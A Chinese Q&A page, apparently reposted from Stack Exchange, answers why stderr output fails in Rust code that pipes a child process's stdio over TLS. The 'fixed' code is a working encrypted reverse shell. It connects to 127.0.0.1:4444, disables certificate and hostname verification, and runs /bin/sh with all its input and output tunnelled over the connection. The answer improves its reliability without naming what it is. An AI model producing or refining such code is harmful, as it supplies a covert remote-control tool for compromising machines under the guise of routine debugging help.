Rust中TLS重定向stdio异常:stderr无法输出求助
Rust中TLS重定向stderr失效问题排查与修复
问题分析
你的代码中stderr无法正常工作主要有以下几个原因:
- Mutex独占锁导致阻塞:stdout和stderr任务共享同一个被
Arc<Mutex<Writer>>包裹的TLS写入流,Mutex是独占锁,当其中一个任务(比如stdout)在执行tokio::io::copy时会一直持有锁,另一个任务(stderr)会被阻塞,无法向TLS流写入数据,导致错误信息无法发送。 - 子进程stderr的缓冲机制:当进程的stderr被重定向到管道时,默认会从行缓冲切换为全缓冲模式,只有当缓冲区满或者进程退出时才会输出内容,这会导致即时的错误信息无法立刻通过管道发送出去。
- 未处理流关闭与子进程生命周期:没有在
copy操作完成后关闭对应的流,也没有等待子进程退出,可能导致子进程或TLS流处于挂起状态,无法正确处理后续输出。
修复后的代码
use std::sync::Arc; use tokio::io::{AsyncReadExt, AsyncWriteExt, split}; use tokio::process::Command; use tokio::sync::mpsc; use tokio_native_tls::{native_tls, TlsConnector}; async fn connect() -> std::io::Result<()> { let connection = tokio::net::TcpStream::connect("127.0.0.1:4444").await?; let mut tls_builder = native_tls::TlsConnector::builder(); tls_builder.danger_accept_invalid_certs(true); tls_builder.use_sni(false); tls_builder.danger_accept_invalid_hostnames(true); let native_connector = tls_builder.build().unwrap(); let tokio_connector = TlsConnector::from(native_connector); let tls_stream = tokio_connector.connect("127.0.0.1:4444", connection).await?; // 使用stdbuf强制stderr行缓冲,解决缓冲问题 let mut child = Command::new("stdbuf") .arg("-eL") // 强制stderr行缓冲 .arg("/bin/sh") .stdin(std::process::Stdio::piped()) .stdout(std::process::Stdio::piped()) .stderr(std::process::Stdio::piped()) .spawn()?; let mut child_stdin = child.stdin.take().expect("Failed to take child stdin"); let mut child_stdout = child.stdout.take().expect("Failed to take child stdout"); let mut child_stderr = child.stderr.take().expect("Failed to take child stderr"); let (mut tls_reader, mut tls_writer) = split(tls_stream); // 创建mpsc通道,统一处理stdout和stderr的输出 let (tx, mut rx) = mpsc::channel(1024); // 读取TLS流数据,写入子进程stdin let stdin_task = tokio::spawn(async move { let _ = tokio::io::copy(&mut tls_reader, &mut child_stdin).await; // 关闭子进程stdin,通知子进程输入结束 let _ = child_stdin.shutdown().await; }); // 读取子进程stdout,发送到通道 let stdout_tx = tx.clone(); let stdout_task = tokio::spawn(async move { let mut buf = vec![0; 1024]; while let Ok(n) = child_stdout.read(&mut buf).await { if n == 0 { break; } let _ = stdout_tx.send(buf[..n].to_vec()).await; } drop(stdout_tx); // 关闭通道分支 }); // 读取子进程stderr,发送到通道 let stderr_tx = tx.clone(); let stderr_task = tokio::spawn(async move { let mut buf = vec![0; 1024]; while let Ok(n) = child_stderr.read(&mut buf).await { if n == 0 { break; } let _ = stderr_tx.send(buf[..n].to_vec()).await; } drop(stderr_tx); // 关闭通道分支 }); // 统一从通道读取数据,写入TLS流 let writer_task = tokio::spawn(async move { while let Some(data) = rx.recv().await { let _ = tls_writer.write_all(&data).await; let _ = tls_writer.flush().await; // 确保数据立即发送 } // 关闭TLS写入流 let _ = tls_writer.shutdown().await; }); // 等待所有任务完成,包括子进程退出 let _ = futures::join!(stdin_task, stdout_task, stderr_task, writer_task); let _ = child.wait().await; Ok(()) }
关键修复说明
- 用mpsc替代Mutex:通过消息通道将stdout和stderr的输出发送到单独的写入任务,避免了锁竞争,两个输出流可以并行处理。
- 强制stderr行缓冲:使用
stdbuf -eL启动/bin/sh,强制stderr采用行缓冲模式,确保错误信息产生后立即输出到管道。 - 处理流关闭与子进程等待:在
copy完成后关闭子进程stdin,通知子进程输入结束;等待子进程退出,确保所有输出都被处理;写入TLS流后主动刷新,确保数据及时发送。
内容的提问来源于stack exchange,提问作者localacct
相关产品推荐
相关产品推荐

